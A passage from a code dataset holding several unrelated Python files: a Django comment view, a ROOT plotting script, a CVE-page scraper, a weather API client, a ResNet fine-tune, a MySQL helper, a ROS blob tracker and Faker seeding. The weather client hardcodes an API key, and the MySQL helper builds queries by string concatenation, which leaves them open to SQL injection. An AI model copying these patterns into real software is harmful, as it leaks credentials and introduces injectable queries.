HttpResponse(json.dumps(ret))\n\ndef comment_add(request):\n ret = {'status': False, 'msg': None}\n username= request.POST.get('username', None)\n email = request.POST.get('email', None)\n content = request.POST.get('content', None)\n a_id = request.POST.get('a_id', None)\n try:\n obj = mComment(\n username=username,\n email=email,\n a_id=a_id,\n content=content,\n status=0\n )\n obj.save()\n ret['status'] = True\n ret['msg'] = '评论成功,请等待审核!'\n except Exception as e:\n ret['status'] = False\n ret['msg'] = '评论失败'\n return HttpResponse(json.dumps(ret))","sub_path":"Admin/views/comment.py","file_name":"comment.py","file_ext":"py","file_size_in_byte":2323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"238504137","text":"#!usr/bin/python\nimport ROOT\nfrom ROOT import TMath, TFile, TH1, TH1F, TCanvas, TEfficiency, TGraphAsymmErrors, TF1, TPaveText, TPaveStats, TLegend, TLine, gROOT, gPad, gStyle\n#from officialstyle import *\nimport CMS_lumi, tdrstyle\nfrom array import array\n\n\n#officialStyle(gStyle)\ntdrstyle.setTDRStyle()\n\n\n#traditional = HistStyle(markerColor=4, markerStyle=24)\n#pf = HistStyle(markerColor=2, markerStyle=20)\n\nimport optparse\nusage = \"usage: %prog [options]\"\nparser = optparse.OptionParser(usage)\n# parser.add_option(\"--lumi\" ,action=\"store\",type=\"string\",dest=\"lumi\",default='1.00')\n# parser.add_option(\"--year\" ,action=\"store\",type=\"string\",dest=\"year\",default='2016')\n# parser.add_option(\"--file1\" ,action=\"store\",type=\"string\",dest=\"file1\",default='16B_500.root')\n# parser.add_option(\"--file2\" ,action=\"store\",type=\"string\",dest=\"file2\",default='16B_900.root')\n# parser.add_option(\"--leg1\" ,action=\"store\",type=\"string\",dest=\"leg1\",default='HLT_PFJet500')\n# parser.add_option(\"--leg2\" ,action=\"store\",type=\"string\",dest=\"leg2\",default='HLT_PFHT900')\n\n(options, args) = parser.parse_args()\n\n#var = options.var\n\nCMS_lumi.writeExtraText = 1\nCMS_lumi.extraText = \"Preliminary\"\n#CMS_lumi.lumi_sqrtS = \" fb^{-1}(\"+options.year+\", 13 TeV)\"\nCMS_lumi.lumi_sqrtS = \"\"\n \n\n\n\n\ncanPt = TCanvas('EffVsPt_'+'_offline','EffVsPt_'+'_offline',600,600)\n#f = TH1F('f','f',30,0,1500)\nf = TH1F('f','f',50,0,800)\nf.GetYaxis().SetRangeUser(0.0,1.2)\nf.GetXaxis().SetTitle('Offline PFJet pT (GeV)')\nf.GetYaxis().SetTitle('Efficiency')\nf.Draw()\n\n\ninf = TFile.Open(\"16BCDEF_500.root\")\nh_all_clone = inf.Get(\"h_all_clone\")\nh_all_clone.SetMarkerStyle(8)\nh_all_clone.SetMarkerColor(1)\nh_all_clone.SetLineColor(1)\nh_all_clone.Draw(\"samePE1\")\n\n#inf.Close()\n\ninf2 = TFile(\"17BCD_500.root\")\nh_all_clone_2 = inf2.Get(\"h_all_clone\")\nh_all_clone_2.SetMarkerStyle(8)\nh_all_clone_2.SetMarkerColor(2)\nh_all_clone_2.SetLineColor(2)\nh_all_clone_2.Draw(\"samePE1\")\n\n\ninf3 = TFile(\"18AB_500.root\")\nh_all_clone_3 = inf3.Get(\"h_all_clone\")\nh_all_clone_3.SetMarkerStyle(8)\nh_all_clone_3.SetMarkerColor(3)\nh_all_clone_3.SetLineColor(3)\nh_all_clone_3.Draw(\"samePE1\")\n\n\nleg = TLegend(0.76,0.15,0.96,0.38)\nleg.SetBorderSize(0)\nleg.AddEntry(h_all_clone,\"HLT_PFJet500 (2016)\",'P')\nleg.AddEntry(h_all_clone_2,\"HLT_PFJet500 (2017)\",'P')\nleg.AddEntry(h_all_clone_3,\"HLT_PFJet500 (2018)\",'P')\nleg.Draw()\n\n\n\n\niPeriod = 0\n\niPos = 11\nif( iPos==0 ): CMS_lumi.relPosX = 0.12\n\nCMS_lumi.CMS_lumi(canPt, iPeriod, iPos)\n\ngPad.Update()\n\ncanPt.Print(\"500.png\")\n\n'''\n16B 5.82\n16C: 2.61\n16D: 4.29\nE 4.07\nF 3.14\nG 7.65\nH 8.70\n\n17B 4.79\nC 4.78\nD 4.25\nE 9.31\nF13.54\n\n18A 14.03\nB 7.06\nC 6.89\nD 31.30\n\n\nHLT_PFHT900\nHLT_PFJet500\n'''\n","sub_path":"jet_eff_plots.py","file_name":"jet_eff_plots.py","file_ext":"py","file_size_in_byte":2666,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"497184746","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nCreated on 2020-03-25 14:43 \n\n@author: congyingxu\n\"\"\"\n\nimport sys\nsys.path.append('../') # 新加入的\nsys.path.append('../../') # 新加入的\n\nDST_dir = \"\"\nCVEList_path = \"\"\n\nimport time\nimport random\nimport requests\nfrom bs4 import BeautifulSoup\nfrom CommonFunction import JSONFIle_processing, File_processing\n# from fake_useragent import UserAgent\n# import selenium\nfrom CommonFunction import SeleniumCrawlerChrome\nfrom CVE_HW_DatasetComparison import CONFIG\nfrom CVE_HW_DatasetComparison.CrawlCVEDetails import CollectCVEDetailsItemInfo\n\nheaders = {\n 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n 'Accept-Encoding': 'gzip, deflate, sdch',\n 'Accept-Language': 'zh-CN,zh;q=0.8',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36'\n}\ncookies={'__jsluid':'8d3f4c75f437ca82cdfad85c0f4f7c25'}\n\n\n\nurl = 'https://www.cvedetails.com/cve/%s'\n# root_dir = \"/Users/congyingxu/Downloads/\"\n# root_dir = \"/Volumes/My Passport/\"\n# root_dir = \"/home/hadoop/dfs/data/Workspace/CongyingXU/\"\n\nroot_dir = CONFIG.root_dir\n\npage_store_dir = root_dir + \"CVE/CrawledCVEdetailsHtmls/Pages/\"\nCVE_CVEID_list_path = root_dir + 'CVE/MetaData/CVE_CVEID_list.json'\nCVEDetails_CVEID_list_path = root_dir + 'CVE/CrawledCVEdetailsHtmls/CVEDetails_CVEID_list.json'\n\nCVE_CVEID_list = JSONFIle_processing.read(CVE_CVEID_list_path)\nCVEDetails_CVEID_list = []\n\n\n\ndef getCVEdetailsItem(url):\n print(\"getPage\", url)\n # way 1\n # reponse = requests.get(url, headers={\n # \"User-Agent\": str(UserAgent(path='/Users/congyingxu/Documents/fake_useragent_0.1.11.json').random)},\n # cookies=cookies)\n reponse = requests.get(url)\n\n print(reponse.status_code)\n if reponse.status_code == 200:\n html = reponse.text.encode(\"utf-8\", \"ignore\")\n title = 'NULL'\n else:\n html = 'Error'\n title = 'www.cvedetails.com'\n\n # way 2\n # html,title = SeleniumCrawlerFirefox.getHtmlFromUrl(url)\n\n return html,title\n\ndef writePage(html,filename):\n\n with open(page_store_dir + filename + 'atCVEDetails.html', 'w') as f:\n f.write(str(html, encoding = \"utf-8\") )\n # print((page_store_dir + filename + 'atCVEDetails.html'))\n\n\n\n\ndef main():\n global CVEDetails_CVEID_list\n CVEDetails_CVEID_list = JSONFIle_processing.read(CVEDetails_CVEID_list_path)\n\n\n for cve in CVE_CVEID_list:\n # time.sleep(random.random() * 5)\n if cve in CVEDetails_CVEID_list:\n continue\n\n #获取html\n html,title = getCVEdetailsItem( url % cve)\n if html=='Error':\n break\n\n #log标记\n CVEDetails_CVEID_list.append(cve) # 用于log\n # 随机写入,防丢失\n if int(cve[-1]) == 0:\n print(\"write\")\n JSONFIle_processing.write(CVEDetails_CVEID_list, CVEDetails_CVEID_list_path)\n\n # 保存html\n # 该cveid不存在\n if title == 'CVE security vulnerability database. Security vulnerabilities, exploits, references and more':\n continue\n elif title == 'www.cvedetails.com': #访问不成功\n break\n else:\n writePage(html, cve)\n\n # break\n\n JSONFIle_processing.write(CVEDetails_CVEID_list,CVEDetails_CVEID_list_path)\n\n\n\n\ndef BuChongCrawler():\n # 由于有些页面爬取有问题,现检测出来,重新爬取一下\n # CVE-2000-0775 : http://www.securityfocus.com/templates/archive.pike?list=1&msg=399a01c01122$0d7f2310$0201a8c0@aviram\n\n # check: ro re-crawl cve list\n for filename in sorted( File_processing.walk_L1_FileNames( CONFIG.CVEdetialsItems_dir ) ):\n if filename.startswith('.'):\n continue\n # print(filename)\n cve = filename.split('.json')[0]\n # cve = 'CVE-2000-0775'\n # filename = cve + '.json'\n ItemPath = CONFIG.CVEdetialsItems_dir + filename\n Item_data = JSONFIle_processing.read(ItemPath)\n\n if Item_data['References'] == None:\n continue\n else:\n # CVEdetialsItem.Reference = [ele.split(' ')[0] for ele in Item_data['References']]\n for ele in Item_data['References']:\n # ele =\n if '[email\\xa0protected]' in ele: # CVE-2017-0553 email\\xa0protected] 'https://lists.fedoraproject.org/archives/list/[email\\xa0protected]/message/KIHASXRQO2YTQPKVP4VGIB2XHPANG6YX/',\n # print(ele)\n # 补爬\n # html, title = getCVEdetailsItem(url % cve)\n # html, title = SeleniumCrawlerFirefox.getHtmlFromUrl(url % cve) # 太慢了\n html, title = SeleniumCrawlerChrome.getHtmlFromUrl(url % cve)\n if html == 'Error':\n break\n # 保存html\n # 该cveid不存在\n if title == 'CVE security vulnerability database. Security vulnerabilities, exploits, references and more':\n continue\n elif title == 'www.cvedetails.com': # 访问不成功\n break\n else:\n print(filename)\n writePage(html, cve)\n CollectCVEDetailsItemInfo.extractItem(cve)\n break\n\n\nif __name__ == '__main__':\n # main()\n BuChongCrawler()\n\n","sub_path":"CVE_HW_DatasetComparison/CrawlCVEDetails/Clawer.py","file_name":"Clawer.py","file_ext":"py","file_size_in_byte":5455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"499647383","text":"# model_weather.py\nimport json\nimport requests\nimport datetime\n\ndef LocationSearch(location):\n\twith open(\"city.list.json\",\"r\", encoding=\"utf8\") as cityJSON:\n\t\tdata=json.load(cityJSON)\n\n\tfor item in data:\n\t\tif item['name']==location:\n\t\t\treturn ['Success',item['name'],item['country']]\n\treturn ['Failed',location]\n\t\n# location,country\ndef WeatherTime(dt):\n\tdtItem=datetime.datetime.fromtimestamp(dt).strftime('%Y-%m-%d %H:%M:%S')\n\tdtList=dtItem.split(' ')\n\treturn dtList\n\ndef WeatherDetails(location,country):\n\n\turl='http://api.openweathermap.org/data/2.5/forecast?q='+location+','+country+'&units=imperial&APPID=1960401d79b51d8c3be286b9463a081b'\n\tsource=requests.get(url)\n\tweather=json.loads(source.text)\n\tweatherList=[]\n\t#weatherlsit = [Time,City,Temp,MinTemp,MaxTemp,Wind,Cloud,Humidity]\n\tfor weatherItem in weather['list']:\n\t\tweatherList.append([WeatherTime(weatherItem['dt'])[0],WeatherTime(weatherItem['dt'])[1],location,country,weatherItem['main']['temp'],weatherItem['main']['temp_min'],weatherItem['main']['temp_max'],weatherItem['wind']['speed'],weatherItem['clouds']['all'],weatherItem['main']['humidity']])\n\treturn weatherList\n\n\n\nlocation='Bangalore'\ncountry='IN'\nWeatherDetails(location,country)\n\n\n","sub_path":"Phase - 1/Part Time/Week 3/5. MVC/MVC Weather - Jithin/model_weather.py","file_name":"model_weather.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"486441302","text":"import torch\nimport torch.nn as nn\nimport torchvision.models as models\nimport os\n\ndef finetuned_resnet(num_classes, include_top=False):\n # Load pretrained ResNet50 model\n model = models.resnet50(pretrained=True)\n \n # Freeze model parameters\n for param in model.parameters():\n param.requires_grad = False\n \n # Replace final fully-connected layer\n fc_layers = [\n nn.Linear(model.fc.in_features, 2048),\n nn.ReLU(),\n nn.Dropout(0.5),\n nn.Linear(2048, 1024),\n nn.ReLU(),\n nn.Dropout(0.5),\n ]\n \n if include_top:\n fc_layers.append(nn.Linear(1024, num_classes))\n fc_layers.append(nn.Softmax(dim=1))\n \n model.fc = nn.Sequential(*fc_layers)\n \n return model","sub_path":"models/finetuned_resnet.py","file_name":"finetuned_resnet.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"114838612","text":"import MySQLdb\n# Open database connection\n#db = MySQLdb.connect(\"localhost\",\"testuser\",\"test123\",\"testdb\" )\n# prepare a cursor object using cursor() method\n#cursor = db.cursor()\ndef pro_connect(x):\n #Connect to database\n print('Opening database connection...')\n # Open database connection\n db = MySQLdb.connect(\"localhost\",\"testuser\",\"test123\",\"testdb\" )\n # prepare a cursor object using cursor() method\n cursor = db.cursor()\n if(cursor):\n print('Connected to databse succesfully')\n # execute SQL query using execute() method.\n cursor.execute(\"SELECT VERSION()\")\n # Fetch a single row using fetchone() method.\n data = cursor.fetchone()\n print (\"Database version %s \" % data)\n return cursor,db\n \ndef pro_insert(cursor):\n # Prepare SQL query to INSERT a record into the database.\n sql = \"\"\"INSERT INTO orders (Qno,Question,Option1,Option2,Option3,Option4,Answer,Marks,Complexity)\n VALUES (1494,'Demand for a commodity refers to','Need for the commodity', 'Desire for the commodity','Amount of the commodity demanded at a particular\n price and at a particular time','Quantity demanded of that commodity',3,1, 'hard')\"\"\"\n # Execute the SQL command\n cursor.execute(sql)\n print(cursor.rowcount, \"record inserted.\")\n # Commit your changes in the database\n db.commit()\n # Rollback in case there is any error\n db.rollback() \n # Prepare SQL query to INSERT a record into the database.\n sql = \"\"\"INSERT INTO GOVERNMENT (Qno,Question,Option1,Option2,Option3,Option4,Answer,Marks)\n VALUES (2048,'When did India adopt a written constitution','November 26, 1949', 'January 26, 1950','January 1, 1997',' January 1, 1999',1)\"\"\"\n try:\n # Execute the SQL command\n cursor.execute(sql)\n print(cursor.rowcount, \"record inserted.\")\n # Commit your changes in the database\n db.commit()\n except:\n # Rollback in case there is any error\n db.rollback()\n\n\ndef pro_select(cursor,table):\n# Prepare SQL query to count questions in table\n sql = \"\"\"SELECT COUNT(*) FROM \"\"\"+table\n# Execute the SQL command\n cursor.execute(sql)\n myresult = cursor.fetchall()\n for y in myresult:\n k = str(y)\n #print k\n #k = k.strip('(')\n #k = k.strip(')')\n #k = k.strip(',')\n #k = k.strip('L')\n k = k.translate(None, \"''L,()\")\n k = int(k) #https://stackoverflow.com/questions/642154/how-to-convert-strings-into-integers-in-python\n return k\n\ndef pro_qselect(cursor, ransetqs,table):\n# Prepare SQL query to select questions from table\n# LIST TO STORE QUERY RESULTS\n qlist = []\n qlistin = []\n newransetqs = []\n #sql2 = \"\"\" AND Qno<500\"\"\"\n for i in range(len(ransetqs)):\n newransetqs.append(str(ransetqs[i]))\n #print newransetqs\n# Prepare SQL query to select questions from table\n sql = \"\"\"SELECT Question,Option1,Option2,Option3,Option4,Marks FROM \"\"\" +table+ \"\"\" where Qno = \"\"\"\n qsetin = (' OR Qno=').join(newransetqs)\n sql = sql + qsetin\n #print sql\n #sql = sql + sql2\n #print sql\n# Execute the SQL command\n cursor.execute(sql)\n myresult = cursor.fetchall()\n #print myresult[1]\n #myresult[1] = str(myresult[1]).strip('L')\n for y in myresult:\n qlistin.append(str(y))\n for k in range(len(qlistin)):\n qlistin[k] = qlistin[k].translate(None, \"''L,()\")\n qlistin[k] = qlistin[k].replace(\"[]\", \"\\n\")\n return qlistin\n# Commit your changes in the database\n db.commit()\n# Rollback in case there is any error\n #db.rollback()\n\ndef pro_marks(qlistin):\n marks = []\n for k in qlistin:\n lent = len(k)\n marks.append(int(k[lent-1]))\n return marks\n\ndef pro_markd(bqlistin):\n mqlistin = []\n for k in bqlistin:\n lent = len(k)\n k = k[:lent-2]\n mqlistin.append(k)\n return mqlistin\n\ndef pro_markc(bmarks):\n mmarks = []\n\ndef pro_oselect(cursor, table=\"orders\"):\n# Prepare SQL query to select current order from table orders\n# LIST TO STORE QUERY RESULTS \n listin = [] \n# Prepare SQL query to SELECT a record from database\n sql = \"\"\"SELECT * FROM `orders` WHERE `new`=1\"\"\" \n# Execute the SQL command\n cursor.execute(sql)\n#Fetch result and format it\n listin = cursor.fetchall()\n listin=list(listin[0])\n for i in range(len(listin)):\n listin[i] = str(listin[i]).translate(None, \"L\") \n return listin \n\ndef pro_sselect(cursor,subject,table=\"subjects\"):\n# Prepare SQL query to select tables related to given subject from table subjects\n# LIST TO STORE QUERY RESULTS \n listin = [] \n# Prepare SQL query to SELECT a record from database\n sql = \"\"\"SELECT * FROM `subjects` WHERE subject='\"\"\"+subject+\"\"\"'\"\"\"\n print ('in pro_sselect() sql is:',sql)\n# Execute the SQL command\n cursor.execute(sql)\n#Fetch result and format it\n listin = cursor.fetchall()\n listin=list(listin[0])\n for i in range(len(listin)):\n listin[i] = str(listin[i]).translate(None, \"L\") \n return listin[2:] \n\ndef pro_nselect(cursor, table=\"orders\"):\n# Prepare SQL query to select current order from table orders\n# LIST TO STORE QUERY RESULTS \n listin = [] \n# Prepare SQL query to SELECT a record from database\n sql = \"\"\"SELECT * FROM `orders` WHERE `new`=1\"\"\" \n# Execute the SQL command\n cursor.execute(sql)\n#Fetch result and format it\n listin = cursor.fetchall()\n if not listin:\n return False\n listin=list(listin[0])\n \n listin[3] = str(listin[3]).translate(None, \"L\") \n return bool(listin[3])\n\ndef pro_ncupdate(cursor,refno,db, table=\"orders\"):\n# Prepare SQL query to select current order from table orders\n print('updating order in orders table')\n# Prepare SQL query to SELECT a record from database\n sql = \"\"\"UPDATE `orders` set `completed` = 1 where `refno`=\"\"\"+str(refno)\n sql2 = \"\"\"UPDATE `orders` set `new` = 0 where `refno`=\"\"\"+str(refno)+\"\"\" AND `completed`=1\"\"\"\n# Execute the SQL command\n cursor.execute(sql)\n db.commit()\n cursor.execute(sql2)\n db.commit()\n print('new order has been set to completed in orders table')\n\n\ndef pro_close(cursor):\n # disconnect from server\n #db = MySQLdb.connect(\"localhost\",\"testuser\",\"test123\",\"testdb\" )\n #cursor = db.cursor()\n cursor.close()\n print('Database connection closed')\n \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"python_files/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":6202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"478018348","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport rospy\nimport cv2\nimport numpy as np\nfrom mira_sensors import MiraSensors\nfrom geometry_msgs.msg import Point\n\n\nclass BlobTracker(object):\n\n def __init__(self):\n self.point_blob_topic = \"/blob/point_blob\"\n # This publisher uses Point message to publish\n # x,y: x,y relative poses of the center of the blob detected relative to the center of teh image\n # z: size of the blob detected\n self.pub_blob = rospy.Publisher(self.point_blob_topic, Point, queue_size=1)\n\n\n def blob_detect(self,\n image, #-- The frame (cv standard)\n hsv_min, #-- minimum threshold of the hsv filter [h_min, s_min, v_min]\n hsv_max, #-- maximum threshold of the hsv filter [h_max, s_max, v_max]\n blur=0, #-- blur value (default 0)\n blob_params=None, #-- blob parameters (default None)\n search_window=None, #-- window where to search as [x_min, y_min, x_max, y_max] adimensional (0.0 to 1.0) starting from top left corner\n imshow=False\n ):\n \"\"\"\n Blob detecting function: returns keypoints and mask\n return keypoints, reversemask\n \"\"\"\n\n #- Blur image to remove noise\n if blur > 0: \n image = cv2.blur(image, (blur, blur))\n #- Show result\n if imshow:\n cv2.imshow(\"Blur\", image)\n cv2.waitKey(0)\n \n #- Search window\n if search_window is None: search_window = [0.0, 0.0, 1.0, 1.0]\n \n #- Convert image from BGR to HSV\n hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n \n #- Apply HSV threshold\n mask = cv2.inRange(hsv,hsv_min, hsv_max)\n \n #- Show HSV Mask\n if imshow:\n cv2.imshow(\"HSV Mask\", mask)\n \n #- dilate makes the in range areas larger\n mask = cv2.dilate(mask, None, iterations=2)\n #- Show HSV Mask\n if imshow:\n cv2.imshow(\"Dilate Mask\", mask) \n cv2.waitKey(0)\n \n mask = cv2.erode(mask, None, iterations=2)\n \n #- Show dilate/erode mask\n if imshow:\n cv2.imshow(\"Erode Mask\", mask)\n cv2.waitKey(0)\n \n #- Cut the image using the search mask\n mask = self.apply_search_window(mask, search_window)\n \n if imshow:\n cv2.imshow(\"Searching Mask\", mask)\n cv2.waitKey(0)\n\n #- build default blob detection parameters, if none have been provided\n if blob_params is None:\n # Set up the SimpleBlobdetector with default parameters.\n params = cv2.SimpleBlobDetector_Params()\n \n # Change thresholds\n params.minThreshold = 0\n params.maxThreshold = 100\n \n # Filter by Area.\n params.filterByArea = True\n params.minArea = 30\n params.maxArea = 20000\n \n # Filter by Circularity\n params.filterByCircularity = False\n params.minCircularity = 0.1\n \n # Filter by Convexity\n params.filterByConvexity = False\n params.minConvexity = 0.5\n \n # Filter by Inertia\n params.filterByInertia =True\n params.minInertiaRatio = 0.5\n \n else:\n params = blob_params \n\n #- Apply blob detection\n detector = cv2.SimpleBlobDetector_create(params)\n\n # Reverse the mask: blobs are black on white\n reversemask = 255-mask\n \n if imshow:\n cv2.imshow(\"Reverse Mask\", reversemask)\n cv2.waitKey(0)\n \n keypoints = detector.detect(reversemask)\n\n return keypoints, reversemask\n\n\n def draw_keypoints(self,\n image, #-- Input image\n keypoints, #-- CV keypoints\n line_color=(0,255,0), #-- line's color (b,g,r)\n imshow=False #-- show the result\n ):\n \"\"\"\n Draw detected blobs: returns the image\n return(im_with_keypoints)\n \"\"\"\n \n #-- Draw detected blobs as red circles.\n #-- cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS ensures the size of the circle corresponds to the size of blob\n im_with_keypoints = cv2.drawKeypoints(image, keypoints, np.array([]), line_color, cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n \n if imshow:\n # Show keypoints\n cv2.imshow(\"Keypoints\", im_with_keypoints)\n \n return(im_with_keypoints)\n\n\n def draw_window(self,\n image, #- Input image\n window_adim, #- window in adimensional units\n color=(255,0,0), #- line's color\n line=5, #- line's thickness\n imshow=False #- show the image\n ):\n \"\"\"\n Draw search window: returns the image\n return(image)\n \"\"\"\n \n rows = image.shape[0]\n cols = image.shape[1]\n \n x_min_px = int(cols*window_adim[0])\n y_min_px = int(rows*window_adim[1])\n x_max_px = int(cols*window_adim[2])\n y_max_px = int(rows*window_adim[3]) \n \n #-- Draw a rectangle from top left to bottom right corner\n image = cv2.rectangle(image,(x_min_px,y_min_px),(x_max_px,y_max_px),color,line)\n \n if imshow:\n # Show keypoints\n cv2.imshow(\"Keypoints\", image)\n\n return(image)\n\n \n def draw_frame(self,\n image,\n dimension=0.3, #- dimension relative to frame size\n line=2 #- line's thickness\n ):\n \"\"\"\n Draw X Y frame\n return : image\n \"\"\"\n \n rows = image.shape[0]\n cols = image.shape[1]\n size = min([rows, cols])\n center_x = int(cols/2.0)\n center_y = int(rows/2.0)\n \n line_length = int(size*dimension)\n \n #-- X\n image = cv2.line(image, (center_x, center_y), (center_x+line_length, center_y), (0,0,255), line)\n #-- Y\n image = cv2.line(image, (center_x, center_y), (center_x, center_y+line_length), (0,255,0), line)\n \n return (image)\n\n \n def apply_search_window(self, image, window_adim=[0.0, 0.0, 1.0, 1.0]):\n \"\"\"\n Apply search window\n return: image\n \"\"\"\n rows = image.shape[0]\n cols = image.shape[1]\n x_min_px = int(cols*window_adim[0])\n y_min_px = int(rows*window_adim[1])\n x_max_px = int(cols*window_adim[2])\n y_max_px = int(rows*window_adim[3]) \n \n #--- Initialize the mask as a black image\n mask = np.zeros(image.shape,np.uint8)\n \n #--- Copy the pixels from the original image corresponding to the window\n mask[y_min_px:y_max_px,x_min_px:x_max_px] = image[y_min_px:y_max_px,x_min_px:x_max_px] \n \n #--- return the mask\n return(mask)\n \n \n def blur_outside(self, image, blur=5, window_adim=[0.0, 0.0, 1.0, 1.0]):\n \"\"\"\n Apply a blur to the outside search region\n \"\"\"\n rows = image.shape[0]\n cols = image.shape[1]\n x_min_px = int(cols*window_adim[0])\n y_min_px = int(rows*window_adim[1])\n x_max_px = int(cols*window_adim[2])\n y_max_px = int(rows*window_adim[3]) \n \n # Initialize the mask as a black image\n mask = cv2.blur(image, (blur, blur))\n \n # Copy the pixels from the original image corresponding to the window\n mask[y_min_px:y_max_px,x_min_px:x_max_px] = image[y_min_px:y_max_px,x_min_px:x_max_px] \n\n return(mask)\n \n\n def get_blob_relative_position(self, image, keyPoint):\n \"\"\"\n Obtain the camera relative frame coordinate of one single keypoint\n return(x,y)\n \"\"\"\n rows = float(image.shape[0])\n cols = float(image.shape[1])\n # print(rows, cols)\n center_x = 0.5*cols\n center_y = 0.5*rows\n # print(center_x)\n x = (keyPoint.pt[0] - center_x)/(center_x)\n y = (keyPoint.pt[1] - center_y)/(center_y)\n return x,y\n \n def publish_blob(self, x, y ,size):\n blob_point = Point()\n blob_point.x = x\n blob_point.y = y\n blob_point.z = size \n self.pub_blob.publish(blob_point)\n \n \nif __name__==\"__main__\":\n\n rospy.init_node(\"blob_detector_node\", log_level=rospy.DEBUG)\n mira_sensors_obj = MiraSensors()\n cv_image = mira_sensors_obj.get_image()\n\n blob_detector_object = BlobTracker()\n\n # HSV limits for RED Haro\n hsv_min = (0,234,0)\n hsv_max = (0, 255, 255) \n \n # We define the detection area [x_min, y_min, x_max, y_max] adimensional (0.0 to 1.0) starting from top left corner\n window = [0.0, 0.0, 1.0, 0.9]\n\n while not rospy.is_shutdown():\n # Get most recent Image\n cv_image = mira_sensors_obj.get_image()\n \n # Detect blobs\n keypoints, _ = blob_detector_object.blob_detect(cv_image, hsv_min, hsv_max, blur=3, \n blob_params=None, search_window=window, imshow=False)\n # Draw window where we make detections\n cv_image = blob_detector_object.draw_window(cv_image, window)\n\n\n for keypoint in keypoints:\n x , y = blob_detector_object.get_blob_relative_position(cv_image, keypoint)\n blob_size = keypoint.size\n blob_detector_object.publish_blob(x,y,blob_size)\n \n # Draw Detection\n blob_detector_object.draw_keypoints(cv_image, keypoints, imshow=True)\n\n #-- press q to quit\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n \n\n rospy.logwarn(\"Shutting down\") \n cv2.destroyAllWindows()","sub_path":"perception_ros/my_blob_tracking_pkg/scripts/blob_detector.py","file_name":"blob_detector.py","file_ext":"py","file_size_in_byte":10213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"320892755","text":"import random\n\nfrom faker import Faker\nfrom sqlalchemy.exc import IntegrityError\n\nfrom project.api.blog.models import Article, Category\nfrom project.api.user.models import User\nfrom project.utils.basemodel import db\n\nfake = Faker()\n\n\ndef fake_admin():\n admin = User(\n email='666@qq.com',\n username='admin',\n admin=True,\n password = 'abcd1234'\n )\n db.session.add(admin)\n\n user = User(\n email='555@qq.com',\n username='changqing',\n admin=False,\n password = 'abcd1234'\n )\n db.session.add(user)\n db.session.commit()\n\n\ndef fake_category(count=4):\n category = Category(name='Default')\n db.session.add(category)\n\n for i in range(count):\n category = Category(name=fake.word())\n db.session.add(category)\n try:\n db.session.commit()\n except IntegrityError:\n db.session.rollback()\n\n\ndef fake_article(count=15):\n for i in range(count):\n article = Article(\n title=fake.sentence(5),\n body=fake.text(2000),\n category=Category.query.get(random.randint(1, Category.query.count())),\n timestamp=fake.date_time_this_year()\n )\n\n db.session.add(article)\n db.session.commit()","sub_path":"services/resource/faker_data.py","file_name":"faker_data.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"163870696","text":"import random\nimport os,re\n\ndef getMessage(yes=True,snr=28,count=1):\n if count == 1:\n page = int(9)\n elif yes==True:\n page = int((snr-10)/2-1)\n if page<0:\n page = 0\n else:\n page = int((snr-10)/2+1)\n if page>18:\n page=18\n filepath = \"static/voice/\"+str(page)\n #print(\"filepath:\"+filepath)\n filelist = os.listdir(filepath) \n #print(\"mess len:\"+str(random.randint(0,len(message))))\n #print(random.randint(0,len(message)))\n message = \"voice/\"+str(page)+\"/\"+ str(filelist[random.randint(0,len(filelist)-1)])\n return message\n\ndef average(result):\n patten = re.compile('(\\d{1,})-(\\d{1,})')\n snr = 0\n for i in range(1,20):\n #print(\"--------------------i:\"+str(i))\n s = '%s'%str(result[0]['right'+str(i)])\n right = re.search(patten,s)\n snr += int(right.group(2))\n return snr/19.0","sub_path":"function.py","file_name":"function.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"652504641","text":"'''Getting\nMario Tonatiuh Trejo Barrera // Google quickstart\nEste programa es para comprobar si un contacto existe en nuestra lista de contactos\nfecha de creación: 19/07/2021\nfecha de última compilación: 19/07/2021 14:30 hrs'''\nfrom __future__ import print_function\nimport os.path\nfrom googleapiclient.discovery import build\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom google.auth.transport.requests import Request\nfrom google.oauth2.credentials import Credentials\n\n# If modifying these scopes, delete the file token.json.\nSCOPES = ['https://www.googleapis.com/auth/contacts']\n\ndef Check(busqueda):\n #busqueda es la persona que buscas\n creds = None\n \"\"\"Lo siguiente es para inicializar el Json\"\"\"\n # The file token.json stores the user's access and refresh tokens, and is\n # created automatically when the authorization flow completes for the first\n # time.\n if os.path.exists('token.json'):\n creds = Credentials.from_authorized_user_file('token.json', SCOPES)\n # If there are no (valid) credentials available, let the user log in.\n if not creds or not creds.valid:\n if creds and creds.expired and creds.refresh_token:\n creds.refresh(Request())\n else:\n flow = InstalledAppFlow.from_client_secrets_file(\n 'credentials.json', SCOPES)\n creds = flow.run_local_server(port=0)\n # Save the credentials for the next run\n with open('token.json', 'w') as token:\n 